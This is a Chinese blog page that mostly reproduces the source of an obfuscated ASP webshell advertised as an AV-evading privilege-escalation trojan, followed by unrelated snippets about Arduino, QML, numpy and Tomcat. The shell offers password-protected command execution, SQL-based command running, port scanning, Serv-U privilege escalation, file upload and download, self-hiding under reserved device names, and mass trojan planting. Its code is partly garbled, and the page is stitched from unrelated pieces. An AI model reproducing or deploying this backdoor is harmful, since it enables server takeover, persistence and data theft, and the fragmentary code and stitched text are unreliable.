技术标签: mysql提权马免杀
UserPass="admin"'密码
'------------------------请勿用于非法途径----------------------
mmname="牛逼免杀提权隐藏大马"
bottomad="禽兽! 放开那服务器,让我来!"
blogurl="http://www.7jyewu.cn/"
'----------------------一切后果与作者无关----------------------
color1="#000000" 'color1="#000000"
color2="#00ff00" 'color1="#00ff00"
color3="#FFFFCC" 'color1="#FFFFCC"
color4 ="#fff" 'color1="#fff"
color5="#000000" 'color1="#000000"
color6="#000" 'color1="#000"
color7 ="#FFF" 'color1="#FFF"
'----------------------页面颜色自己调----------------------上面是原来的颜色备份_以防亲们不知道弄回来!
Server.ScriptTimeout=999999999:Response.Buffer=true:On Error Resume Next
ExeCute "sub ShowErr():If Err Then:RRS""
"" & Err.Description & ""
"":Err.Clear:Response.Flush:End If:end sub:Sub RRS(str):response.write(str):End Sub:Function RePath(S):RePath=Replace(S,""\"",""\\""):End Function:Function RRePath(S):RRePath=Replace(S,""\\"",""\""):End Function:URL=Request.ServerVariables(""URL""):ServerIP=Request.ServerVariables(""LOCAL_ADDR""):Action=Request(""Action""):Pos=2:RootPath=Server.MapPath("".""):WWWRoot=Server.MapPath(""/""):Serveru=request.servervariables(""http_host"")&url:FolderPath=Request(""FolderPath""):serverp=UserPass:Pn=pos*44:FName=Request(""FName""):pso=5:BackUrl=""
RRS""
RRS"
"&mmname&" - "&ServerIP&""RRS"
RRS"body,td{font-size: 12px;background-color:"&color1&";color:"&color2&";}"
RRS"input,select,textarea{font-size: 12px;background-color:"&color3&";border:1px solid "&color4&"}"
RRS".C{background-color:"&color5&";border:0px}"
RRS".cmd{background-color:"&color6&";color:"&color7&"}"
RRS"body{margin: 0px;margin-left:4px;}"
RRS"BODY {SCROLLBAR-FACE-COLOR: #000000;SCROLLBAR-HIGHLIGHT-COLOR: #00fcfc;SCROLLBAR-SHADOW-COLOR: #00fcfc;SCROLLBAR-ARROW-COLOR: #00fcfc;SCROLLBAR-TRACK-COLOR: #000000;SCROLLBAR-DARKSHADOW-COLOR: #00fcfc;SCROLLBAR-BASE-COLOR: #000000}"
RRS"a{color:#ddd;text-decoration: none;}a:hover{color:red;background:#000}"
RRS".am{color:#888;font-size:11px;}"
RRS""
ExeCute SinfoEn("lError=kilnerrodow.o;}win trueeturns(){rError killctiont>funscrip=javaguaget lanscripRRS~
RRS"function DbCheck(){if(DbForm.DbStr.value == """"){alert(""请先连接数据库"");FullDbStr(0);return false;}return true;}":RRS"function FullDbStr(i){if(i<0){return false;}Str = new Array(12);Str[0] = ""Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&RePath(Session("FolderPath"))&"\\db.mdb;Jet OLEDB:Database Password=***"";Str[1] = ""Driver={Sql Server};Server="&ServerIP&",1433;Database=DbName;Uid=sa;Pwd=****"";Str[2] = ""Driver={MySql};Server="&ServerIP&";Port=3306;Database=DbName;Uid=root;Pwd=****"";Str[3] = ""Dsn=DsnName"";Str[4] = ""SELECT * FROM [TableName] WHERE ID<100"";Str[5] = ""INSERT INTO [TableName](USER,PASS) VALUES(\'username\',\'password\')"";Str[6] = ""DELETE FROM [TableName] WHERE ID=100"";Str[7] = ""UPDATE [TableName] SET USER=\'username\' WHERE ID=100"";Str[8] = ""CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"";Str[9] = ""DROP TABLE [TableName]"";Str[10]= ""ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"";Str[11]= ""ALTER TABLE [TableName] DROP COLUMN PASS"";Str[12]= ""当只显示一条数据时即可显示字段的全部字节,可用条件控制查询实现.\n超过一条数据只显示字段的前五十个字节。"";if(i<=3){DbForm.DbStr.value = Str[i];DbForm.SqlStr.value = """";abc.innerHTML=""
RRS"function gotoURL(targ,selObj,restore){if(selObj.options[selObj.selectedIndex].js==1){eval(selObj.options[selObj.selectedIndex].value);if (restore) selObj.selectedIndex=0}else{eval(targ+"".location='""+selObj.options[selObj.selectedIndex].value+""'"");if (restore) selObj.selectedIndex=0;}}"
rrs "
If Action="" then RRS " scroll=no"
rrs ">"
Dim Sot(13,2):Sot(0,0) = "Scripting.FileSystemObject":Sot(0,2) = "文件操作组件":Sot(1,0) = "wscript.shell":Sot(1,2) = "命令行执行组件":Sot(2,0) = "ADOX.Catalog":Sot(2,2) = "ACCESS建库组件":Sot(3,0) = "JRO.JetEngine":Sot(3,2) = "ACCESS压缩组件":Sot(4,0) = "Scripting.Dictionary":Sot(4,2) = "数据流上传辅助组件":Sot(5,0) = "Adodb.connection":Sot(5,2) = "数据库连接组件":Sot(6,0) = "Adodb.Stream":Sot(6,2) = "数据流上传组件":Sot(7,0) = "SoftArtisans.FileUp":Sot(7,2) = "SA-FileUp 文件上传组件":Sot(8,0) = "LyfUpload.UploadFile":Sot(8,2) = "刘云峰文件上传组件":Sot(9,0) = "Persits.Upload.1":Sot(9,2) = "ASPUpload 文件上传组件":Sot(10,0) = "JMail.SmtpMail":Sot(10,2) = "JMail 邮件收发组件":Sot(11,0) = "CDONTS.NewMail":Sot(11,2) = "虚拟SMTP发信组件":Sot(12,0) = "SmtpMail.SmtpMail.1":Sot(12,2) = "SmtpMail发信组件":Sot(13,0) = "Microsoft.XMLHTTP":Sot(13,2) = "数据传输组件"
For i=0 To 13
Set T=Server.CreateObject(Sot(i,0))
If -2147221005 <> Err Then
IsObj=" √"
Else
IsObj=" ×"
Err.Clear
End If
Set T=Nothing
Sot(i,1)=IsObj
Next
If FolderPath<>"" then
Session("FolderPath")=RRePath(FolderPath)
End If:If Session("FolderPath")="" Then
FolderPath=RootPath
Session("FolderPath")=FolderPath
End if
Function MainForm()
RRS"
"RRS""
RRS""
RRS"
"RRS"
RRS"
"RRS"
地址:"RRS""
RRS"
"RRS"
"RRS"
RRS"
"RRS"
"RRS"
隐藏 "RRS""
RRS"
『→ Program』『→ AllUsers』『→ 程序』『→ 启动』『→ pcAnywhere』『→ serv-u』『→ RealServer』『→ SQL』『→ PHP』『→ config』『→ data』『 Temp』『 RECYCLER』『 常写』End Function:Function MainMenu()
RRS"
RRS"
RRS"
"If soT(0,1)=" ×" Then
RRS"
无权限"Else
Set ABC=New LBF:RRS ABC.ShowDriver():Set ABC=Nothing
RRS"
→站点目录"RRS"
→程序目录"RRS"
→上级目录"RRS"
→新建目录"RRS"
→新建文本"RRS"
→远程下载"RRS"
→上传文件RRS"
→用户账号"RRS"
→查管理员"RRS"
→自动登录"RRS"
→组件支持"RRS"
→执行CMD命令"RRS"
→SQL执行CMD"RRS"
→端口扫描"RRS"
→Serv-u提权"RRS"
→读注册表"RRS"
→修改文件属性"RRS"
→隐藏超级大马RRS"
→ASPX探测"RRS"
→PHP探测"RRS"
→JSP探测"RRS"
→高级挂马"RRS"
→批量清马"RRS"
→批量替换"RRS"
→数据库操作"RRS"
→打包解包"RRS"
→退出登录"End if
RRS"
"End Function:
Sub PageAddToMdb():ExeCute SinfoEn("atePth, cteAthm Dih`~)cteAth(~stueeq R =cteAth`~)thPahe~tt(esquRe= h atePth`0000=1uteOimtTipcr.SerrvSe0`he Tb~MdTodd~a= t Ache tIfn`thPahe(tdboMdTad)`UrckBa~&v>di成!作完>操br>di成!作完>操br>os=podthmem or=8zesi~ ~~& ) ~)~.h(atpPMar.veer(SdecoEnmlHt& ~ ~~e=luvah atePthe=am nutnpAche=tmenab MdTodd=aueal venddhie=yp tutnpiopt/oO无pp=aueal vontiop>Fso=fueal vontiop>~ctlese~包'始打'开e=luvat miub=spetyt puin ~rmfobr:文r/os=podthmem or=8zesi~ b~mdH.HS~\& ) ~)~.h(atpPMar.veer(SdecoEnmlHt& ~ ~~e=luvah atePthe=am nutnp开包'解e=luvat miub=spetyt puin>~rmfo ilehi WDo`enThe lsFa= ) i), thPahe(tftLes(stxirEdeol.F~)ctjeObemstSyleFig.inptriSc(~ctjeObteeaCrr.veer SIf`)) 1 - ih,atePtht(ef(LerldFoteeaCr).t~ecbjmOteyseSil.Fngtiipcr~St(ecbjeOatre.CerrvSe`Ifd En`he T~)~\, 1)+ i , thPahe(tid(MtrnS IIfn`\~ ~), 1 + ih,atePthd(Mir(stIn+ i = i )`ls Ee`= i 0`Ifd En`opLo",Pos):End Sub:Sub saTreeForMdb(thePath, rs, stream):ExeCute SinfoEn("stLileFiys sr,deoleFth, emitm Di`b$ldH.HSb$mdH.HS~$= t iseLilsFsy~`h)atePthe(acSpmeNaX.sa= r deoleFtht Se`mste.IerldFohe tInm te ichEar Fo`enThe ru T =erldFoIsm.te iIf`amrest, rs, thPam.te idbrMFoeeTrsa`ls Ee`enTh0 = ='cenalign='0' ddingellpa'1' ccing=llspa0' ceder='' bor'menuolor=' bgc='600widthable br>系r='megcoloer' b'centlign='3' aspan=' colt='20heigh>~` nextesumeror ron er`NT://(~Winbject getObj inach ofor e.~)`err.clear`e=~~ rtTypJ.Staif OBthen`&~~` FF~~>#FFFFor=~~bgcol20~~ ht=~~ heig&~&nbsFFF~~~#FFFlor=~ bgcod>~`d>&nbs~~2~~span=~ colFFFF~~~#FFolor=~ bgc~~20~ight=td he~ `end if`x=~自动hen le=2 trtTypJ.Staif OB~`x=~手动hen le=3 trtTypJ.Staif OB~`x=~禁用hen le=4 trtTypJ.Staif OB~`pe=2 artTyBJ.Stand Owin~ ))<>~h,4,3j.patid(obase(mif LCthen`>&nbsF0000or=#Ft col][启n=~~2olspaF~~ cFFFFFr=~~#gcolo0~~ bt=~~2heigh>&nbFFFF~~~#FFolor=~ bgc~~20~ight=td he/td>&nbsFFF~~~#FFFlor=~ bgco~20~~ght=~d heitr>~`else`>&nbs399FFor=#3t col][启n=~~2olspaF~~ cFFFFFr=~~#gcolo0~~ bt=~~2heigh>&nbFFFF~~~#FFolor=~ bgc~~20~ight=td he/td>&nbsFFF~~~#FFFlor=~ bgco~20~~ght=~d heitr>~`end if`next`~",Pso):End Function:Function ServerInfo():ExeCute SinfoEn("ter'>='cenalign='0' ddingellpa'1' ccing=llspa0' ceder='' bor'menuolor=' bgc='80%widthable br>服r='megcoloer' b'centlign='3' aspan=' colt='20heigh>~`td>)&~~&reFFFF'='#FFcolortd bg/td>&nFFFFFor='#bgcol>服务器FFFFFr='#Fgcolo00' bth='2' widt='20heigh>~`FFF'>'#FFFolor=d bgctd>&nbFFFFFr='#Fgcolo服务器IPFFF'>'#FFFolor=' bgc='200width'20' ight=td heer'>='_blargetrm' t'ipfoname=asp' ndex.com/ip138.www.itp://n='htactiopost thod=rm me&~~`nbsp;ow&~&'>~&nFFFFFr='#Fgcolonbsp;FF'>FFFFlor=' bgcod>服务器FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#FgcoloCPU数量'>服务器FFFFFr='#Fgcolo00' bth='2' widt='20heigh>~`d>~#FFFFlor=' bgcod>&nbsFFFF'='#FFcolortd bg/td>服务器FFFFFr='#Fgcolo00' bth='2' widt='20heigh>~`>'#FFFolor=d bgctd>&nbFFFFFr='#Fgcolo服务器版本'>WEBFFFFFr='#Fgcolo00' bth='2' widt='20heigh>~`=0 ToFor i 13`td>)&~~&So=leftalignFFF' '#FFFolor=d bgctd>~&SoFFFF'='#FFcolortd bg/td><0)&~~&SFFFFFr='#Fgcolo00' bth='2' widt='20heigh>~`Next`RRS SI",Pso):End Function:Function DownFile(Path):ExeCute SinfoEn("arle.CseonspRe`)),0(6ot(SctjeObteeaCr= M OSt Se`enOpM.OS` 1 =peTyM.OS`at PleFiomFradLoM.OSh`)+\~,~thpav(Retrns=Isz1`z),sthpad(Mi& ~ e=amenil ft;enhmactt~a, n~ioitosspDit-enntCo ~eradHedd.AseonspRe`iz.SSM O~,thngLet-enntCo ~eradHedd.AseonspRee`8~F-UT ~ =etrsha.CseonspRe`amrestt-teocn/ioaticplap ~ =peTyntteon.CseonspRe~`ea.RSM OteriyWarin.BseonspRed`shlu.FseonspRe`osClM.OSe`inthNo= M OSt Seg",Pos):End Function:Function HTMLEncode(S):if not isnull(S) then:S= replace(S,">",">"):S=replace(S,"
fpath=request.servervariables("path_translated"):set fso=server.createobject("scripting.filesystemobject"):pex="com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9":rndpex=split(pex,"|")(rndnumber(0,17)):session("seljw")="":filepath1=server.mappath("."):filename1=right(fpath,len(fpath)-instrrev(fpath,"\")):url=request.servervariables("url"):url=left(url,instrrev(url,"/"))&rndpex&"."&filename1:fso.copyfile fpath,"\\.\"&filepath1&"\"&rndpex&"."&filename1:set fso=nothing:rrs ""
end sub:Function UpFile():
If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" Or F.FileSize=0 then
SI="
请输入上传的完全路径后选择一个文件上传!"
Else
F.SaveAs UName
If Err.number=0 Then
SI="
End if
End If
Set F=nothing:Set U=nothing
SI=SI&BackUrl
RRS SI
ShowErr()
Response.End
End If
SI="
SI=SI&"
"SI=SI&"
"SI=SI&"上传路径:"
SI=SI&" "
SI=SI&" "
SI=SI&"
"RRS SI:RRS ""©url&""
End Function::Function Cmd1Shell():ExeCute SinfoEn("checked=~ checked~`t(~SPeques) = RPath~Shellion(~ Sess Then)<>~~(~SP~questIf Re~)`ath~)hellPon(~SSessiPath=Shell`md.ex = ~clPath Shel Thenth=~~ellPaif She~`heckehen ces~ t)<>~yript~(~wscquestif Red=~~`cmd~)est(~ RequCmd =n Def~ The~)<>~(~cmdquestIf Re`st'>~d='pomethoform SI=~&nbh:70%'widttyle=&~' SlPath&Shelue='~' vale='SPt namWScrked&~&checyes'~lue='t' vascripme='wx' naeckboe='chc typlass=put c&~alue=it' v'submtype=nput '> 返回"
end if
else
si="
if instr(SI,SIC)<>0 then rrs sI
end if
response.end
end if
Function DbManager():ExeCute SinfoEn("tr~))~SqlSForm(uest.m(Reqr=TriSqlSt`DbStrorm(~est.F=RequDbStr~)`ing='lpadd' celng='0spaci cellr='0'borde'650'idth=ble w&~~`on='' actipost'hod='' metbFormme='Drm na&~~`接串:;数据库连 27'> ght='' hei='100width>~`/td>~~~~>bManaue='D' validdenpe='hn' tyActioame='put n&~~`:&nbt='30heigh>~`>~`/td>~()'>4n(DbSIf Len`(5,0)t(SotObjecreateonn=CSet C)`DbStrOpen Conn.`ma(20nSchen.Opes=ConSet R) `r>名表~`veFirRs.Most `ot Rsile NDo Wh.Eof`E~ th~TABLPE~)=LE_TY(~TABIf Rsen`_NAMETABLE=Rs(~TName~)`a>[ de~,1)'e&~]~&TNamLE [~P TAB~~DROlStr(ullSqipt:Fvascrf='jaa hreter>~`~Name&'>~&T~~,1)me&~]~&TNaROM [T * FSELECtr(~~lSqlSt:Fulscrip'javahref=&~r>n(SqlIf Leen`ct~ t~sele,6))=qlStreft(Sase(LIf LChen`qlStr句:~&S&~执行语SI=SI`ordseb.Rec~Adodject(ateObs=CreSet Rt~)`Conn,lStr,en SqRs.op1,1`ds.Co.FielFN=Rsunt`rdCou.RecoRC=Rsnt`geSizRs.Pae=20`ageSi=Rs.PCountze`Count.PagePN=Rs`age~)st(~PrequePage=`g(Page=Clnn Pag~ Thege<>~If Pae)` Page Thenage=0 Or Pge=~~If Pa=1` Page Thenge>PNIf Pa=PN`=PageepagesolutRs.abThen ge>1 If Pa`td><=#ccccolor25 bgight=tr heble>~` FN-1=0 toFor n`em(n)ds.It.Fielld=RsSet F`e&~~&Flnter'n='ce alig&~~`thingld=noSet F`Next`&~~`Count And .Bof)or Rs.Eof ot(Rsile NDo Wh>0`=CounCountt-1`EFEFEor=~#BgcolF~`t>xngdine='wit fac>~` FN-1=0 ToFor i`~:EndFEFEFr=~#Egcololse:BF5~:E#F5F5lor=~:Bgco ThenEFEF~=~#EFcolorIf Bg if`=1 ThIf RCen`Rs(i)code(TMLEnnfo=H ColI)`Else`,50))Rs(i)Left(code(TMLEnnfo=H ColI`End If`&~~&Color&~&Bgcolor=~ bgco&~~`Next`&~~`veNexRs.Mot`Loop`I:SI=RRS S~~`lStr)de(SqlEnCor=HtmSqlSt`&~/~&&Page;页码:~ &RC&~记录数:~nter>gn=ce~ aliFN+1&an=~&colsp>1 ThIf PNen`a>&nb上一页&~)'>age-1~,~&Ptr&~~&SqlSr(~~~SqlSt:Fullcriptjavasref=';>~&i&i&~)'~~,~&Str&~~&Sqltr(~~lSqlSt:Fulscrip'javahref=&~
set T1=CreateObject(Sot(6,0)):T1.Type=1:T1.Mode=3:T1.Open:T1.Write Request.BinaryRead(Request.TotalBytes):T1.Position=0:TDa=T1.Read:DStart=1:DEnd=LenB(TDa):set D2=CreateObject(Sot(4,0)):vbCrlf=chrB(13)&chrB(10):set T2=CreateObject(Sot(6,0)):TSt=MidB(TDa,1,InStrB(DStart,TDa,vbCrlf)-1):TLen=LenB(TSt):DStart=DStart+TLen+1:while (DStart+10)0 then
set TFL=new FIF:FStart=InStr(FEnd,TIn,"filename=""",1)+10:FEnd=InStr(FStart,TIn,"""",1):FStart=InStr(FEnd,TIn,"Content-Type: ",1)+14:FEnd=InStr(FStart,TIn,vbCr):TFL.FileStart=DIEnd:TFL.FileSize=DStart-DIEnd-3:if not D2.Exists(UpName) then:D2.add UpName,TFL:end if
else:T2.Type=1:T2.Mode=3:T2.Open:T1.Position=DIEnd:T1.CopyTo T2,DStart-DIEnd-3:T2.Position = 0:T2.Type = 2:T2.Charset ="gb2312":SFV = T2.ReadText:T2.Close:if D1.Exists(UpName) then:D1(UpName)=D1(UpName)&","&SFV:else:D1.Add UpName,SFV:end if:end if:DStart=DStart+TLen+1:wend:TDa="":set T2=nothing:End Sub:Private Sub Class_Terminate:if Request.TotalBytes>0 then:D1.RemoveAll:D2.RemoveAll:set D1=nothing:set D2=nothing:T1.Close:set T1 =nothing:end if:End Sub:End Class:Function SinfoEn(ObjStr,ObjPos):ExeCuTe Fun(")2-)nEofniS(neL,nEofniS(tfeL=nEofniS:txeN:fLrCbv&)soPjbO,)i(rtSweN(edoCnE&nEofniS=nEofniS:)rtSweN(dnuoBU oT 0=i roF:)|`|,rtSjbO(tilpS=rtSweN:)||||,|~|,rtSjbO(ecalpeR=rtSjbO"):End Function:Class FIF:dim FileSize,FileStart:Private Sub Class_Initialize:FileSize=0:FileStart=0:End Sub:Public function SaveAs(F)
dim T3:SaveAs=true:if trim(F)="" or FileStart=0 then exit function
set T3=CreateObject(Sot(6,0)):T3.Mode=3:T3.Type=1:T3.Open:T1.position=FileStart:T1.copyto T3,FileSize:T3.SaveToFile F,2:T3.Close:set T3=nothing:SaveAs=false:end function:End Class:Function Fun(ShiSanObjstr):ShiSanObjstr=Replace(ShiSanObjstr,"|",""""):For ShiSanI=1 To Len(ShiSanObjstr):If Mid(ShiSanObjstr,ShiSanI,1)<>"!"Then:ShiSanNewStr=Mid(ShiSanObjstr,ShiSanI,1)&ShiSanNewStr:Else:ShiSanNewStr=vbCrLf&ShiSanNewStr:End If:Next:Fun = ShiSanNewStr:End Function:Class LBF:Dim CF:Private Sub Class_Initialize:SET CF=CreateObject(Sot(0,0)):End Sub:Private Sub Class_Terminate:Set CF=Nothing:End Sub
Function ShowDriver()
For Each D in CF.Drives
RRS"
"Next
End Function
Function Show1File(Path):ExeCute SinfoEn("thPar(deoltFGeF.=CLDFOt Se)`i=0`>~tr><6'='ngdiadlpel c0'='ngcipalsel c0'='errdbo' 0%10='thid wleab&~orolrCdeor&B ~idol spx:1errdbo='lety sivteen=cgnli a7%=1thid w10t=ghei htd~~/a~~br>06'='zesi' gsingdin'we=ac fntfo> /ayC制''复e=tlti' am='ssla c)'k(soyen uret'rk=icclon)'~~erldFopyCo~~~,~~)&meNaF.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra >>
~/al删除='leit tm''as=ascl' ()okes yrnture='cklinc'o~)r~deollFDe~~~,~~)&\~~\~,~\e,am.N&F\~&~thPae(acplRe~&~~m(orlFul:Fptriscvaja='efhra ~移动='leit tm''as=ascl' ()okes yrnture='cklinc'o~)r~deoleFov~M,~~~&~e)am.N&F\~&~thPah(ateP&R~~(~rmFollFut:ipcrasav'jf=re h
文章浏览阅读385次。基于Arduino uno,获取红外寻迹传感器的原始值_怎么检测红外寻迹模块返回值
文章浏览阅读494次,点赞5次,收藏9次。单片机(Microcontroller)是一种集成了微处理器核心、存储器、输入/输出接口和定时器等功能模块的集成电路芯片,具有体积小、功耗低、性价比高等特点,被广泛应用于各个领域。单片机的发展历史可以追溯到20世纪70年代,当时的单片机功能有限,主要用于简单的控制任务。
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文章浏览阅读770次。到目前为止,我们已经讨论了如何将对象实例公开给QML上下文。有时我们还希望在QML中可以使用注册类本身。注册允许将类当作QML中的数据类型来使用。此外,注册还可以提供其他功能,比如允许在QML中将类用作可实例化的QML对象类型,或者允许在QML中导入和使用类的单例实例。通常我们使用Q_OBJECT宏注册从QObject派生的类,也可以用Q_GADGET宏声明一个比QObject“更轻”的版本。在这些更轻的类中,我们可以访问它们的属性、枚举和可调用的方法,但不能使用信号槽系统,我们稍后会进行介绍。1. 注_qmlregisteruncreatabletype
文章浏览阅读2.1k次,点赞7次,收藏15次。头文件与命名空间的关系 Q:有些书说有些头文件不在std里是什么意思?std里包含些什么?为什么不用std就不能使用cout?头文件中声明的东西为什么在使用的时候需要先using namespace std;一下?如果我不用#include和其他头文件。只用using namespace std 的话,是不能用cout的。这说明cout是在iostream里声明_c#中命名空间和c语言中头文件之间的关系
文章浏览阅读1.2k次,点赞2次,收藏8次。注释dtype=np.int代表导入数据的格式为整数delimiter=’,'代表原始数据的存储格式为以‘,’为间隔原始文件中以‘#’开头的行代表被注释,不会被np.loadtxt读取通过[[0] * b for i in range(a)]的方式初始化一个x[a][b]的二维数组np.savetxt()函数可以用来保存数据,第一个参数为保存数据的路径,其中C是自定义的文件名,如果该文..._python 读取csv矩阵乘法
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文章浏览阅读9.6k次,点赞8次,收藏65次。这里介绍:RGB图3个通道的提取、RGB图转灰度图、图片反转、图片亮度调整具体操作,需导入的库如下:原图如下:结果如下,从左到右分别是:Red,Green,Blue这里借助skimage库中的exposure函数来进行图像亮度的调整结果如下:........._jupter rgb灰度直方图提取
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文章浏览阅读7.7k次。为什么要共享session?我们使用单台Tomcat的时候不会有共享sesssion的疑虑,只要使用Tomcat的默认配置即可,session即可存储在Tomcat上。但是随着业务的扩大,增加Tomcat节点构成Tomcat集群大势所趋,分布式带来了增加更大规模并发请求的优势,但是也随之到来了一个问题,每个Tomcat只存储来访问自己的请求产生的session,如果Tomcat-A已经为客..._redis分布式session共享